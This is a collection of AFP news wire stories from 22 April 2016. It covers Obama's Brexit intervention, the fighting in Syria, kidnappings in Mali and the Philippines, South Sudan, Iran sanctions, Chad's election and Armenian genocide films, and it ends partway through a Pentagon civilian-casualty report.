British Prime Minister David Cameron (L) greets US President Barack Obama as Obama arrives for talks at Downing Street in central London on April 22, 2016 Justin Tallis (AFP)

"I realise that there's been considerable speculation -- and some controversy -- about the timing of my visit," he wrote in a piece published at the start of his four-day trip to Britain.

"I will say, with the candour of a friend, that the outcome of your decision is a matter of deep interest to the United States.

"Tens of thousands of Americans who rest in Europe's cemeteries are a silent testament to just how intertwined our prosperity and security truly are.

"And the path you choose now will echo in the prospects of today's generation of Americans."

- Churchill bust row -

Johnson, the leading face of the eurosceptic campaign, said it was "downright hypocritical" of the US to intervene as it would not accept the same limits on its own sovereignty as EU members do.

"For the United States to tell us in the UK that we must surrender control of so much of our democracy is a breathtaking example of the principle of do as I say, not as I do," Johnson wrote in The Sun tabloid.

Johnson also repeated claims that "part-Kenyan" Obama may have removed a statue of Winston Churchill from the Oval Office at the start of his first term out of "ancestral dislike of the British Empire".

The White House has previously rejected the allegation over the bust of the British wartime leader as "completely false".

Prime Minister David Cameron's spokeswoman also dismissed it Friday, saying: "Let's focus on facts".

Asked about the controversy at a campaign event, anti-EU UK Independence Party leader Nigel Farage told AFP: "Obama doesn't like the British very much. His grandfather grew up in Kenya, a former British colony. He's still got some bad feelings about that."

He added: "I would rather he butted out and wasn't here saying what he's saying... We don't need his advice".

The issue of Brexit is likely to surface again at talks with Cameron later on Friday, to be followed by a press conference.

Ahead of the meeting, Obama and First Lady Michelle Obama had lunch at Windsor Castle with Queen Elizabeth II, who turned 90 on Thursday, and her husband Prince Philip.

- 'Appeal from the heart' -

Richard Whitman, professor of politics and international relations at the University of Kent, said Obama's was "an unusually personal intervention".

"He's making a very strong appeal from the heart," he said.

"It will be difficult to say from the polls whether his intervention made a significant difference but I think that it creates a narrative which appears to be favouring the 'Remain' campaign."

A poll by Sky News television found 57 percent said Obama's intervention would make "no difference" to their vote.

Sixty percent of respondents said Obama's views on EU membership were not important in an ITV News poll conducted by ComRes, with 51 percent saying that Obama should not make his views on the issue public.

While experts warn many people have not yet decided how to vote, the "Remain" camp currently has 54 percent support compared to 46 percent for "Leave", according to an average of the last six opinion polls by academics at the What UK Thinks project.

Seen from Washington, Cameron's decision to call a referendum was a bold -- if not downright risky -- gamble that could leave Britain and the EU badly weakened.

"The EU has helped spread British values and practices -- democracy, the rule of law, open markets -- across the continent and to its periphery," Obama wrote.

"The European Union doesn't moderate British influence -- it magnifies it.

Britain's voice in the EU keeps the bloc "outward looking" and "closely linked" to the United States, he said.

Britain's Queen Elizabeth II (2nd L) and her husband Prince Philip greet US President Barack Obama (2nd R) and his wife Michelle (R) as they arrive by helicopter at Windsor Castle, west of London, on April 22, 2016 Jim Watson (AFP)

(L-R) Britain's Queen Elizabeth II, US President Barack Obama, First Lady Michelle Obama and Prince Philip pose in the Oak Room at Windsor Castle in Windsor, southern England, ahead of a private lunch on April, 22, 2016 John Stillwell (Pool/AFP)

Britain's Prince Philip drives US President Barack Obama (2L), US First Lady Michelle Obama (2R) and Britain's Queen Elizabeth II (R) into Windsor Castle after the Obamas arrived for a private lunch on April 22, 2016 Geoff Pugh (Pool/AFP)

"Marine One", carrying US President Barack Obama and his wife Michelle, lands outside Windsor Castle, west of London, on April 22, 2016, as they prepare to meet with Britain's Queen Elizabeth II and her husband Prince Philip Jim Watson (AFP)
Air strikes on Syria's Aleppo kill 25

Air strikes on rebel-held neighbourhoods in Syria's second city Aleppo on Friday killed at least 25 people and wounded more than 40, emergency workers told AFP.

The Syrian Observatory for Human Rights, which said regime warplanes carried out the air strikes, earlier gave a toll of 19 dead but said this was likely to rise.

An AFP correspondent in the opposition-held eastern part of the city said several districts were targeted including Bustan al-Qasr, Al-Mashad and Salhin.

A Syrian man evacuates an area following a reported airstrike on April 22, 2016 in the rebel-held neighbourhood of Hayy Aqyul in Aleppo Ameer Alhalbi (AFP)

Late Friday, two barrel bombs also hit the southern district of Bab al-Nayrab, killing an ambulance driver.

"It was a bloody, black day in Aleppo, with aircraft not leaving the sky," Bibres Mashaal, the head of civil defence in Bab al-Nayrab, said.

"Twenty-five air strikes where launched on the city, as well as barrel bombs," he said, adding they targeted residential neighbourhoods and main roads.

"Today the civil defence was fully mobilised and there were also fires," Mashaal said.

Civil defence workers also reported three people killed by artillery fire in Bustan al-Qasr, one of Aleppo's most heavily populated neighbourhoods.

An air strike there earlier hit a five-storey apartment building, shearing off part of an entire floor.

"We were sleeping at 10:00 am when the strike hit the fourth floor of the building," said resident Ahmad Radi.

"We ran down and found the bodies all over the ground."

Civil defence volunteers emerged from the building carrying squirming infants blanketed in dust, while others held limp bodies covered in white sheets.

"It's become normal here for people to die every day. No one even mourns anymore," one Bustan al-Qasr resident said.

"The next day, everyone opens their shops and things carry on as if nothing happened. But everyone living here has lost someone."

"A surprising number of wounded showed up at the field hospital, around 20 people," one medic in an opposition-held neighbourhood told AFP.

"It's more than we can handle," he said, adding that field hospitals in other neighbourhoods were also struggling to cope.

Once Syria's commercial hub, Aleppo has been divided between rebel control in the east and government forces in the west since 2012.

Nearly all warring parties in Syria -- the regime, rebels, jihadists and Kurds -- have carved out zones of control in war-torn Aleppo province.

A ceasefire took effect in Syria at the end of February, but the country has been rocked by fighting in recent weeks, particularly around Aleppo.

On Sunday, at least six civilians were killed in government strikes on eastern parts of the city, and another 16 were killed by Islamist rebel rocket fire.

Syria's conflict erupted in March 2011 with anti-government protests, but has since spiralled into a multi-front war that has left more than 270,000 people dead.
Three Red Cross staff freed after Mali kidnap

Three Red Cross workers captured in northeastern Mali last weekend by Islamist group Ansar Dine have been freed, the International Committee of the Red Cross said Friday.

"The best news we could get: our three colleagues in Mali are free, safe and sound," ICRC head Peter Maurer said on Twitter, with the news confirmed by the aid group's spokesman in Bamako, Valery Mbaoh Nana.

"Our colleagues have been set free without conditions," Mbaoh Nana told AFP in Bamako.

Three Red Cross workers captured in northeastern Mali last weekend by Islamist group Ansar Dine have been freed

"We are extremely pleased with this happy outcome."

The three aid workers, who were not named, were freed in Kidal, capital of the restive region of the same name, where they were kidnapped on April 16.

They had been on mission in the north of the region when they were taken hostage, Mbaoh Nana said.

Ansar Dine, one of several jihadist groups roaming Mali's north, on Thursday claimed responsibility for the kidnapping.

"We have three people who work for the Red Cross. We want Barkhane (French forces) to free Miyatene Ag Mayaris before we will release them," Nourredine Ag Mohamed, a senior militant from the group, told AFP.

Multiple sources say Miyatene Ag Mayaris, a local guide recruited to work for the ICRC, was arrested by French forces.

Previously been suspected of being an Ansar Dine militant, it remains unclear whether he has been freed.

"If we managed to secure the release today, it is thanks to the processes set off by the ICRC through its contacts in northern Mali, including religious, community and administrative leaders. All of the ICRC's efforts and contacts were mobilised in order to secure this result," Mbaoh Nana said.

France's Operation Barkhane, launched in 2014, has seen 3,500 soldiers deployed across five countries in the Sahel region to maintain cross-border security following the ousting of jihadists from key towns in Mali's north.

It is the successor to a military intervention that freed Mali's vast, desolate north from the control of Tuareg-led rebels who allied with jihadist groups linked to Al-Qaeda in 2012.
US warns of growing kidnapping threat in southern Philippines

The United States has issued a fresh travel warning for most of the southern Philippines after a surge of kidnappings there, with some victims being snatched from vessels at sea.

A State Department advisory on Thursday asked its citizens to defer "non-essential" travel to the Sulu archipelago and the southern tip of the western island of Palawan, and to take "extreme caution" elsewhere in the southern region of Mindanao.

It cited "the high threat of kidnapping of international travellers, increased threat of maritime kidnappings against small boats, and violence linked to insurgency and terrorism".

The US State Department warns against "non-essential" travel to the Sulu archipelago and the southern tip of the western island of Palawan Ritchie B. Tongo (Pool/AFP/File)

Sulu is a stronghold of the Abu Sayyaf, a group of Islamic militants infamous for kidnappings, bombings, and beheadings in the south of the predominantly Catholic Asian nation.

The group abducted eight foreigners in the past three years, some from neighbouring Malaysia. It continues to hold four westerners after killing a Malaysian and freeing other hostages reportedly for large ransoms.

In the past month, 14 Indonesians and four Malaysians aboard commercial shipping have also been abducted in nearby waters.

Foreign ministers of Indonesia, Malaysia and the Philippines are to meet in Jakarta on May 3 to discuss an Indonesian proposal for joint patrols in the area of the recent kidnappings, Indonesian security minister Luhut Panjaitan said Thursday.

"We don't want to see this area become a new Somalia," he added.

Filipino officials told AFP Friday they could not immediately confirm the ministerial meeting.

Britain also warned Wednesday of the widening threat of kidnappings in coastal resorts and dive sites in Mindanao, while Canada advised citizens last week to avoid travel to most of the region.
South Sudan rebel chief to miss international deadline to return

South Sudan rebel chief Riek Machar will miss an international deadline on Saturday to return to the capital to take up the post of vice president, the government said, with his arrival now expected next week.

UN chief Ban Ki-moon has urged Machar to return to Juba "without delay", while the US, Britain and Norway -- key international backers of peace efforts -- demanded he return by Saturday.

Machar was due to return to the capital Juba on April 18 to take up the post of first vice president alongside his arch-rival President Salva Kiir.

South Sudan's rebel leader Riek Machar was vice-president from 2005 until he was sacked in 2013 Isaac Kasamani (AFP/File)

His failure to arrive has thrown an August 2015 peace agreement to end over two years of intense civil war into jeopardy.

But Minister of Information Michael Makuei said the government would only clear Machar's plane to arrive from Ethiopia after international monitors have verified the number of weapons carried by the rebels accompanying him.

"There is no coming today," Makuei said.

The rebels, who were at Ethiopia's Gambella airport, said they were ready to fly but needed permission to do so.

An AFP reporter at the airport said there was growing frustration among the rebel troops, who have now been there for several days, waiting to leave.

- 'Risk of further conflict' -

Under intense international pressure, the two sides reached agreement on Friday on the number of troops protecting Machar and the exact number of weapons they can carry.

Machar can bring with him 195 men, carrying AK-47 assault rifles as well as 20 machine guns and 20 rocket-propelled grenades.

Rebel spokesman James Gadet said the weapons had already been checked by Ethiopian officials, and could also be verified upon their arrival in Juba.

"The forces are ready," Gadet said, adding they were asking the government "to drop the issue" of independent weapons verification in Ethiopia to speed up the process.

"If they resolve the issue of the verification and they give the landing permission of the plane then they can go," he said.

The US, Britain and Norway had on Friday appealed for Machar to return.

"Machar's failure to go to Juba, despite efforts from the international community to support his return, places the people of South Sudan at risk of further conflict and suffering," the trio said in a statement.

"We will pursue appropriate measures against anyone who further frustrates implementation of the peace agreement."

South Sudan's civil war began in December 2013 when Kiir accused Machar of plotting a coup. The conflict has reignited ethnic divisions and been characterised by gross human rights violations.

It has included the abduction and rape of thousands of women and girls, massacres of civilians, recruitment of child soldiers, murder, mutilation and even cannibalism.

Machar, a former rebel leader turned deputy president, started a new rebellion after being fired by Kiir in 2013, fighting his way back to office.

A 1,370-strong armed rebel force has already arrived in Juba as part of the peace deal, and government forces say they have implemented their promise to pull all but 3,420 of their troops from the city.

All other soldiers have to remain at least 25 kilometres (15 miles) outside the capital.

South Sudan's civil war began in December 2013 when Kiir accused Machar of plotting a coup AFP (AFP/File)

The civil war in South Sudan has torn open ethnic divisions and been characterised by human rights violations Samir Bol (cds/AFP/File)
Obama to visit Hiroshima after G7 summit: Nikkei

President Barack Obama will go to the atom-bombed city of Hiroshima after a G7 summit in Japan next month, the Nikkei business daily reported Friday, in what would be a first for a sitting US leader.

Washington will "arrange with Japan his visit on May 27 when the G7 leaders' summit wraps up," the newspaper said, citing several US government officials it did not identify.

The White House refused to comment, while Japan said that there were no ongoing arrangements between the two sides for such a visit.

John Kerry last week became the first US Secretary of State to visit Hiroshima, more than 70 years after the city was devastated by an atomic bomb Jonathan Ernst (Pool/AFP/File)

White House officials have said that Obama is considering stopping in the city late next month around the time of the May 26-27 Group of Seven summit that is to take place in another part of Japan.

A visit by Obama would have enormous symbolic importance and would follow US Secretary of State John Kerry's journey last week to Hiroshima, which took in the memorial and museum to the 1945 bombing in the city.

Kerry, who was joined by other G7 foreign ministers, is the highest-ranking US administration official to pay respects at the spot where an American plane dropped an A-bomb in the world's first-ever nuclear attack.

While visiting the city, Kerry declined to comment on the likelihood of an Obama visit.

"That is subject to a very full and complicated schedule that the president has to plan out way ahead of time," he said.

Obama, who won the Nobel Peace Prize in 2009 for his call for a world without nuclear weapons, is expected to make a speech about nuclear abolition, the Nikkei said, citing an unnamed high-ranking US government official.

Obama is also considering offering a floral tribute at Hiroshima's Peace Memorial Park and Japanese Prime Minister Shinzo Abe is also expected to accompany Obama, according to the paper.

A US official told the Nikkei that Washington will formally notify Japan of the plans early next month.

Asked at a regular press conference whether the US and Japan are working to arrange a visit to Hiroshima by Obama, Chief Cabinet Secretary Yoshihide Suga, the government's top spokesman, flatly denied it.

"It is not true," Suga said.

But he added it is "very important" for Japan that world leaders visit Hiroshima and understand the reality of the suffering caused by the atomic bombing.

Speculation of an Obama visit has intensified since Kerry said in Hiroshima after he and his G7 counterparts wrapped up two days of talks there that everyone should visit the city.

"I hope one day the president of the United States will be among the everyone who is able to come here," he said.

About 140,000 people died directly from the Hiroshima blast or later from severe radiation exposure. The city, a key military installation during the war, was flattened by the massive detonation.

The atomic bombing of Nagasaki followed three days later, killing some 74,000 people. Japan surrendered within a week to end World War II.
Bodybuilding with DIY weights at Burkina Faso gym

Scrap metal, tin cans, auto parts! At a rough and ready gym in Ouagadougou's rundown Dapoya district, young bodybuilders using homemade weights know powerful muscles can lead to a job.

"We started out with tin cans that we filled with cement or with sand," says Maxime Tiendrebeogo, 40, who founded the MM Club with his brother Mathieu 20 years ago.

Surrounded by rundown buildings and a graveyard of rusting vehicles and scattered auto parts, a dozen sweaty people are working out in the dappled light of the thatched hut.

A man lifts a barbell at the MM Club, a weight room in the neighbourhood of Dapoya, Ouagadougou in Burkina Faso on March 10, 2016 Nabila El Hadad (AFP/File)

Around 60 members exercise there every week, many tattooed with crosses and broken hearts. The open neck of Maxime's T-shirt shows scars he says are "knife cuts I got when helping a friend who was being beaten up."

At the MM Club, the equipment is made of scrap material, from engine cylinders and clutch plates to steel petanque balls. The benches are worm-eaten, dust hangs in the air, some of the weights are painted in the gay red, green and yellow of Burkina Faso's national colours.

"We collect what we need, have it weighed by an ironmonger, then take it to the welder," says MM member Idrissa, who works nights as bouncer in a dance hall.

"I have two children in school," he adds. "Now that I have money coming in every month, I'm going to be able to study."

- 'Financial support' -

After leaving his village at 10 and like thousands of others working in an opencast gold mine, Idrissa came to Ouagadougou looking for work before meeting the two gym founders.

"It began with a fight with Maxime," he said, "The next day he suggested I join."

Most club members work as security guards or bouncers and earn an average of 80,000 CFA francs (122 euros/$138) a month, a decent wage in the Sahel nation that is one of the poorest in the world.

"We lift young people out of difficulty by helping them to find stable employment. When they don't know where to go, we house them," Maxime says.

"Those who have jobs give financial support to the others until they too find work," he adds, sitting in his favourite bar-restaurant, a short distance from the gym.

"But if somebody does the work badly, if they don't respect the rules, they're kicked out of the club."

Zakaria left his village for the city three years ago in hope of helping his family. Until he met the bodybuilders, he lived on the streets, sleeping on cardboard and selling bread.

"Before I began developing my muscles, I couldn't carry a bag of rice," says the 18-year-old. Now he works days in a bus station, handling heavy goods, and at night as the watchman for a bar-restaurant.

"My fitness helped!"

Surrounded by rundown buildings and a graveyard of rusting vehicles and scattered auto parts, a dozen sweaty people work out in the dappled light of the thatched hut that they call a gym in Ouagadougou, Burkina Faso Nabila El Hadad (AFP/File)
US insists European banks can now deal with Iran

The United States insisted Friday that foreign banks should feel free to do business with Iran after Tehran's compliance with a nuclear deal with world powers.

Secretary of State John Kerry downplayed fears that Asian or European banks could fall afoul of Washington's continuing sanctions against Iran's non-nuclear activities.

And, as Kerry met with Foreign Minister Mohammad Javad Zarif for the second time in a week, Washington itself agreed to buy 32 tonnes of Iranian heavy water.

US Secretary of State John Kerry speaks on April 22, 2016 in New York Bryan R. Smith (AFP)

These parallel moves in support of non-US trade with Iran will enrage President Barack Obama's domestic critics, who argue he has already ceded too much ground to Tehran.

"I want to emphasize we've lifted our nuclear-related sanctions as we committed to do," Kerry told reporters, sitting alongside Zarif in a New York hotel.

"And there are now opportunities for foreign banks to do business with Iran," he said.

Kerry said that this included those banks that are holding an estimated $55 billion in frozen Iranian assets, who have been nervous about returning the funds even after the deal.

"Unfortunately, there seems to be some confusion among foreign banks and we want to clarify that as much as we can," Kerry admitted.

And, he promised, if banks have questions about the remaining sanctions targeting Iran's missile program and sponsorship of militant groups, "they should just ask."

Zarif welcomed the statement.

"Iran has implemented its part of the bargain," he said.

"And we hope that with this statement ... that we see serious implementation of all the JCPOA benefits that Iran should derive from this agreement," he added, referring to the deal.

Separately US officials said they would spend $8.6 million to buy Iranian heavy water, even as the nuclear deal came under sustained attack from critics in both countries.

Hardliners in Tehran argue that President Hassan Rouhani has been tricked into surrendering control of Iran's nuclear program without getting much in return.

And in Washington, Obama's critics claim he plans to allow an unreformed Iran access to US finance despite the separate sanctions remaining in place.

- Heavy water deal -

The State Department defended the heavy water deal.

"This transaction provides US industry with a critical product, while also enabling Iran to sell some of its excess heavy water," spokesman John Kirby said.

He said the purchase had come after Iran met its obligations under the nuclear accord implementation process.

And he added: "This material had already been removed from Iran, ensuring it would not be used to support the development of a nuclear weapon."

The heavy water purchase immediately came under attack in Washington as another concession to Tehran and a crack in the wall barring Iran from the US financial system.

"Once again, the Obama administration is handing Iran's radical regime more cash," declared Ed Royce, chairman of the House foreign affairs committee.

"US purchase of this sensitive material goes well beyond what is required by the nuclear agreement."

House Speaker Paul Ryan did not mince his words.

"This purchase -- part of what appears to be the administration's full-court press to sweeten the deal -- will directly subsidize Iran's nuclear program," he said.

"It's yet another unprecedented concession to the world's leading state-sponsor of terrorism."

But a US official, speaking on condition of anonymity, insisted to AFP the transaction did not break any rules.

"Regardless of whether or not this is in US dollars, this licensed transaction is limited in scope," he said.

"This routing through third-country financial institutions is similar to the mechanism that has been used for years to allow other authorized transactions," he said.

- Frozen billions -

Kerry admitted this week that Iran has thus far been able to access only around $3 billion of the $55 billion the State Department estimates that it is owed.

US sanctions still exist to punish Iran for its missile program and sponsorship of Middle East "terrorist groups," and Washington officials' hands are partly tied.

Washington had hoped European and Asian banks would free up the frozen funds and allow Rouhani's government to show its people the benefits of international cooperation.

But European officials have told AFP their bankers fear they could face fines or even criminal cases against their US subsidiaries if they rush in.

The US has scrambled expert teams -- "akin to a roadshow," in spokesman Kirby's phrase -- to reassure international bankers that they can do business.

- Enraged Republicans -

But the spectacle of American officials effectively working to promote foreign business engagement with the Islamic republic has enraged Obama's Republican opponents.

Lawmakers have threatened to pass renewed bars on Iranian interaction with the US financial system, through which many dollar-denominated transactions pass.

But officials feel the credibility of the nuclear deal, which was implemented in January, depends on Iran's moderates being able to point to economic progress.

In theory, the European Union lifted its nuclear-related sanctions against Tehran at the same time as Washington.

But Iran's Revolutionary Guards, still under sanctions for their role in sponsoring attacks by Middle East militant groups, have extensive business interests.

And any private sector investment or financial services provided to Iran that was found to be linked to the group could expose European banks to US prosecution.

Iran's Foreign Minister Mohammad Javad Zarif on April 22, 2016 in New York Bryan R. Smith (AFP)

A heavy water plant in Arak, 320 kms south of Tehran, pictured in August 2006 Atta Kenare (AFP/File)
UAE earmarks $4 billion to help Egypt's economy

The United Arab Emirates has allocated $4 billion (3.15 billion euros) to support Egypt whose economy is struggling, state news agency WAM said on Friday.

It said $2 billion "will be allocated for investment in a number developmental fields in Egypt, while the other $2 billion will be deposited at the Central Bank of Egypt to support the Egyptian cash reserve".

WAM said the decision was made by Abu Dhabi's crown prince Sheikh Mohammed bin Zayed al-Nahyan who concluded a visit to Egypt on Friday.

The UAE had pledged along with Saudi Arabia and Kuwait a combined $12 billion in aid and investment in March last year to help Egypt's struggling economy Khaled Desouki (AFP/File)

"This support comes in the framework of strategic co-operation and co-ordination between the two countries," it said.

"It also stems from the UAE's firm stand in support of Egypt and its people to promote the reconstruction and development process, as well as in recognition of the pivotal role of Egypt in the region."

The UAE had pledged along with Saudi Arabia and Kuwait a combined $12 billion in aid and investment in March last year to help Egypt's struggling economy.

UAE Prime Minister Mohammed bin Rashid al-Maktoum said at an investment conference in Sharm el-Sheikh at the time that his country's investment includes a $2 billion deposit in the Central Bank, with the rest used to fund projects to be announced later.
Russia downplays main Syria opposition group leaving talks

Key regime backer Russia on Friday downplayed the significance of the departure of Syria's main opposition group from UN-brokered peace talks in Geneva earlier this week.

"Probably no one loses but them if they leave the negotiations," Russian Foreign Minister Sergei Lavrov said on a visit to Armenia, referring to the opposition High Negotiations Committee (HNC).

The HNC earlier this week halted its formal participation in the round of talks that began in Geneva on April 13 in frustration over surging violence on the ground.

Syrian rebel-fighters monitor the sky holding a FN-6 man-portable air-defence system (MANPADS) in the village of Teir Maalah, on the northern outskirts of Homs, on April 20, 2016 Mahmoud Turkia (AFP/File)

"If they want to secure their participation only at the expense of ultimatums with which everyone needs to agree then this is their problem," Lavrov said.

He said that the task of UN envoy Staffan de Mistura was to deal with the "entire spectrum of the opposition."

"If some part of this spectrum wants to throw tantrums, be our guest," Lavrov said.

"No need to run after them. You have to work with those who are ready to think about their career, not about how to 'please' their foreign sponsors but those who are ready to think about the fate of their country."

"So I believe this is the process of making the Syria talks healthier."

Lavrov noted that several opposition figures had split from the HNC group and that Russia would welcome their participation in the talks as independent entities.
Armenians confront Hollywood with 'forgotten genocide'

As the world prepares to mark the Armenian genocide, filmmakers and musicians are attempting to raise awareness among an American public largely ignorant of one of modern history's darkest episodes.

It is 101 years on Sunday since Turkey's Ottoman government began arresting minority community leaders and setting in motion a campaign of systematic slaughter that had left 1.5 million Christian Armenians dead by the early 1920s.

Turned out of their homes and sent on death marches through the Mesopotamian desert, they were stripped naked and forced to walk until they died of thirst or collapsed and were shot dead.

French-Armenian filmmaker Robert Guediguian's film "Don't Tell Me The Boy Was Mad" gets its US premiere on Friday at COLCOA, the world's largest festival of French film, staged annually in LA Anne-Christine Poujoulat (AFP/File)

At the same time, the ruling "Young Turks" created death squads to drown countless thousands in rivers, throw them off cliffs, crucify them and burn them alive, raping women and forcing them to join harems or serve as slaves.

The collective trauma has been transferred from the original victims to every subsequent generation of Armenians who have carried the unresolved suffering of their ancestors to their new homes across Europe and the United States.

On Sunday thousands of Armenians are expected to rally in Los Angeles -- home to the largest diaspora community in the world -- to demand that the Turkish government finally recognize the massacres as a genocide.

Yet there is frustration among the campaigners that ordinary Californians may not have even heard of the events they refer to as "Medz Yeghern" -- or "The Great Crime."

French-Armenian filmmaker Robert Guediguian's "Don't Don't Tell Me The Boy Was Mad," which gets its US premiere on Friday at COLCOA, the world's largest festival of French film, staged annually in LA, aims to change that.

- 'Unaware' -

"I don't think the rest of America is conscious of what happened. But it's not only America, it's also Europe and a lot of Western countries. They are ignorant of the story. They are not aware," he told AFP.

"It's only in places where there is a big Armenian community where people have their voices heard about this subject... Cinema can absolutely educate people and make them aware of what is happening in the world."

"Don't Tell Me The Boy Was Mad" is set around the Armenian diaspora in 1970s and 80s Marseille, France and follows a wave of bombings and assassinations perpetrated by Armenian radicals against Turkish targets across Europe in response to the genocide.

Guediguian based his story on "The Bomb," an autobiographical novel by Jose Antonio Gurriaran, who was semi-paralyzed by an Armenian terrorist attack in Madrid but became a leading advocate for international recognition of what he called "the forgotten genocide."

Despite a history of support for laws formally recognizing the Armenian genocide, US President Barack Obama -- accused of kowtowing to Turkish sensitivities -- hasn't used the term to refer to the killings while in office.

"Barack Obama took the stand that most people in politics do. They come to the community and say 'we will absolutely recognize that your community or people have been in a genocide.' But then once they are elected and become president they don't," said Guediguian.

Many of the stories of abuse related by characters in the film are derived from the 62-year-old's own family history, passed down from his grandparents' generation.

"In the movie Anoush tells the story of her mother who had been raped several times before she made it to France. This story really happened, to my great aunt," Guediguian told AFP.

- Victims forever -

The director, who describes reaction to his movie as "very warm," is looking for a US distributor while in Los Angeles for the nine-day COLCOA.

Meanwhile a second film about the genocide, "Armenia, My Love," had its premiere in Pasadena, California last week, also opening at several Los Angeles locations including Glendale, home to around 80,000 of the 200,000-plus Armenians in Los Angeles.

Written and directed by Romanian American Diana Angelson, who also stars, the film tells the story of a family living in the occupied territory of the Armenian homeland, now eastern Turkey, in 1915.

Angelson says that while she needed to depict the horror of the massacres, it was the film's "strong messages of hope, love, faith, perseverance and strength" that she wanted to prevail.

"Hopefully it will travel the world and it will teach many people kindness," she added.

Friday also sees the release of Grammy Award-winning Los Angeles-based Armenian American musician Serj Tankian's original soundtrack to "1915," a thriller inspired by the events of the genocide which was released last year.

"Genocide has become the defining factor of the Armenian character worldwide," Tankian, whose heavy metal band System of a Down has sold over 40 million records worldwide, told students at the American University of Armenia in Yerevan after the film's release.

"That is a good thing and a bad thing. No culture, no people, want to be known as victims forever. We have a very old, amazing, gorgeous culture to share with the world."
Chad President Deby wins fifth term, opposition cry foul

Chad's prime minister called for calm Friday after president Idriss Deby was declared winner of an election the opposition said was marred by widespread fraud.

Deby won 61.56 percent of the vote in the April 10 presidential election, followed by the opposition's Saleh Kebzabo, who garnered 12.8 percent, according to provisional results released by the national election commission (CENI) Thursday.

Gunfire rang out in N'Djamena through the night as Deby supporters and the ruling Patriotic Salvation Movement (MPS) celebrated his victory on the vast city square opposite the presidential palace.

Supporters of Chad's incumbent president Idriss Deby Itno attend a presidential campaign rally on April 8, 2016 at the Ndjamena stadium Issouf Sanogo (AFP/File)

"Enjoy your victory," Deby said on briefly stepping out onto the square. "But do not take over the street," he warned.

The city was quiet on Friday with police and members of the presidential guard deployed at all major crossroads after scathing criticism from opposition leaders on the vote.

The Constitutional Council has two weeks to validate the provisional results, which would give Deby, who has already ruled for more than a quarter of a century, a fifth term in office.

Prime Minister Albert Pahimi Padacke urged Chadians on Friday to remain within the constitution in case of appeal while warning against "any attempt to undermine public order."

Eight opposition leaders including Kebzabo who had alleged ballot-stuffing and trafficking in voter cards said after meeting in the capital that they did not recognise the results issued by CENI.

"Hundreds of ballot boxes have disappeared," they had said earlier this week, adding that soldiers who had intended to vote against Deby had also gone missing and had likely been "arrested and imprisoned".

- Protests banned -

The opposition has solid support in the city's poorer districts as well as in the heavily-populated south of the country.

African Union observers last week declared the elections free and fair.

More than six million people had been asked to choose between 13 presidential hopefuls in the vote, with turnout pegged at more than 71 percent.

During the polls there was an online blackout with the Internet cut and mobile phones unable to send messages.

Earlier this month, four civil society leaders were handed four-month suspended sentences for urging anti-government protests ahead of the vote.

The government had banned demonstrations after protests erupted in February over the gang rape of a teenage girl, blamed on the sons of top figures in Deby's regime.

Four days after the ban, a student was killed and five wounded when police opened fire to break up a protest at Faya Largeau in the north.

Deby's election also came as staff at several hospitals, schools and universities were on strike over weeks of unpaid wages.

Under Deby -- who took power in a military coup -- once unstable Chad has become both an oil producer and a key player in the fight against jihadist groups on the rampage in west Africa.

But despite a wealth of new oil resources since 2003, half of the population of 13 million live below the poverty line and seven out of 10 people cannot read or write.

Chad's incumbent president Idriss Deby Itno casts his ballot at a polling station in N'djamena on April 10, 2016 Issouf Sanogo (AFP/File)

Chad's incumbent president Idriss Deby Itno (left) is set for a fifth term after winning 61.56 percent of the vote in the April 10 presidential election Issouf Sanogo (AFP/File)
Regime, Kurds agree to indefinite truce in northeast Syria city

Kurdish fighters and Syrian government representatives agreed on Friday to an indefinite ceasefire after three days of clashes in the northeastern city of Qamishli, Kurdish security forces said.

The fighting in the mainly Kurdish city began on Wednesday with a scuffle at a checkpoint and was a rare outbreak of violence between the two sides.

On Friday, government officials and Kurdish security forces met in Qamishli's airport to negotiate an end to the fighting.

A member of the Kurdish internal security forces inspects the Alaya prison in the northeastern Syrian city of Qamishli on April 22, 2016 Delil Souleiman (AFP)

They agreed to an indefinite truce as talks continue to find a permanent settlement to the dispute, according to a statement by the Kurdish police force, known as the Asayish.

"We will be committed to the truce until an appropriate solution is found and the regime stops its terrorist practices," the statement said.

The statement said 17 civilians, 10 Kurdish fighters, and 31 regime forces had been killed in the three days of clashes.

"I received orders to stop firing, but not to leave my position," one Kurdish fighter in Qamishli told AFP.

Carol, a resident of the government-controlled Wusta neighbourhood, said fighting had quieted since the high-level meeting between the regime and Kurds began in the airport.

"There's no one walking in the streets - it's like there's an unofficial curfew," she told AFP.

- Civilians flee -

The meeting in Qamishli airport saw Syrian government representatives fly in from Damascus, a senior security official told AFP earlier on Friday.

"The aim of the meeting is to calm the situation in Qamishli and put an end to the clashes," he said.

The army and its militia ally, the National Defence Forces, control Qamishli airport and parts of the city, as well as parts of the provincial capital Hasakeh to the south.

Nearly all of the rest of the province is controlled by the Kurdish People's Protection Units (YPG), who have declared an autonomous region across the mainly Kurdish northern areas they control.

That decision has angered Damascus as well as the opposition.

Kurdish authorities have declared zones of "autonomous administration" across parts of north and northeast Syria.

Syrian troops and seasoned Kurdish fighters have coordinated on security in Hasakeh province where Islamic State jihadists have tried to advance, but tensions have built up between the sometimes-rival authorities.

Kurdish commander Jalnak Qamishlu told AFP his units had been evacuating civilians from areas hit by the fighting.

An AFP correspondent saw a woman in a long black robe clutching several bags full of her belongings scamper down a street as a military vehicle screeched by.

Kurdish fighter Ali Askar voiced defiance.

"We will not allow the National Defence Forces or the army to advance and take control of any part of our city," he said.

The YPG is regarded by the Pentagon as the most effective fighting force on the ground in Syria against IS.

Washington has defied angry complaints from NATO ally Ankara to provide military support to the Kurdish militia, which Turkish officials regard as an arm of the outlawed rebel Kurdistan Workers Party (PKK).

A member of the Kurdish internal security forces in the northeastern Syrian city of Qamishli on April 22, 2016 Delil Souleiman (AFP)
US acknowledges killing more civilians in Iraq, Syria strikes

The Pentagon acknowledged Friday that 20 civilians were killed in US air strikes on Islamic State targets over a five-month period, more than doubling an ongoing tally of such deaths to 41.

Observers were quick to dismiss the toll as "unbelievable," warning the toll is likely much higher given the intensity of the 20-month-old air campaign that has unleashed 12,000 plane and drone strikes -- often in urban areas.

The latest figures from US Central Command are based on investigations into nine strikes in Iraq and Syria between September 10 and February 2, including one in Atshanah, Iraq that killed eight civilians and another in the Iraqi city of Ramadi that killed five.

Smoke billows following a reported air strike by the US-led coalition on February 3, 2016 in the area of al-Sajariyah area, east of the city of Ramadi, the capital of Iraq's Anbar province Ahmad Al-Rubaye (AFP/File)

CENTCOM spokesman Colonel Pat Ryder said the United States regretted the loss of life, but said the IS group bore responsibility.

